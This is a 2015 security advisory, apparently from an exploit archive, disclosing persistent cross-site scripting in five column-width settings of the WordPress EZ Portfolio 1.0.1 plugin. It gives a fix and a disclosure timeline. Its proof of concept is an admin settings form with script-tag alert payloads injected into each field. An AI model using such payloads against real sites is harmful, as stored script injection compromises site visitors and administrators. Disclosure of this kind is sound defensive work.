Wordpress EZ Portfolio 1.0.1 plugin - Multiple Persistant XSS Vulnerability

# Title : Wordpress EZ Portfolio 1.0.1 plugin - Multiple Persistant XSS vulnerability
# Author : ZwX
# Date : 22/02/2015
# Downoload : https://downloads.wordpress.org/plugin/ez-portfolio.1.0.1.zip
# Vendor : http://webbisivut.org/
# Level Security : Low
# Tested on : Windows 7

+----------------------+                        
  Description & Detail 
+----------------------+

1 - The variable "ez_2col_width" is vulnerable to cross site scripting attack.
2 - The variable "ez_3col_width" is vulnerable to cross site scripting attack.
3 - The variable "ez_4col_width" is vulnerable to cross site scripting attack.
4 - The variable "ez_5col_width" is vulnerable to cross site scripting attack.
5 - The variable "ez_6col_width" is vulnerable to cross site scripting attack.

To access the vulnerability must connect to the administration interface.

+----------------------+
    Proof Of Concept
+----------------------+

<form method="post" action="http://127.0.01/projects/wordpress/wp-admin/options-general.php?page=ez_portfolio_settings&settings-updated=true" enctype="multipart/form-data">
<input id="2col_width" name="ez_2col_width" placeholder="49.4%" value=""'/>><script>alert(1)</script>" type="text">
<input id="3col_width" name="ez_3col_width" placeholder="32.73%" value=""'/>><script>alert(2)</script>" type="text">
<input id="4col_width" name="ez_4col_width" placeholder="24.4%" value=""'/>><script>alert(3)</script>" type="text">
<input id="5col_width" name="ez_5col_width" placeholder="19.4%" value=""'/>><script>alert(4)</script>" type="text">
<input id="6col_width" name="ez_6col_width" placeholder="16.06%" value=""'/>><script>alert(5)</script>" type="text">
<input name="Submit" class="button-primary" value="Save Settings" type="submit">
</form>

+----------------------+
       Solution
+----------------------+

Add htmlentities your variable
Udapte plugin EZ Portfolio 1.0.2

+----------------------+
       Timeline
+----------------------+

# 22/02/2015 - Vulnerability Found
# 23/02/2015 - Vendor Contacted
# 23/02/2015 - Vendor Response
# 23/02/2015 - Vulnerability Patched
# 25/02/2015 - Vulnerability Disclosure

#  0day.today [2018-04-09]  #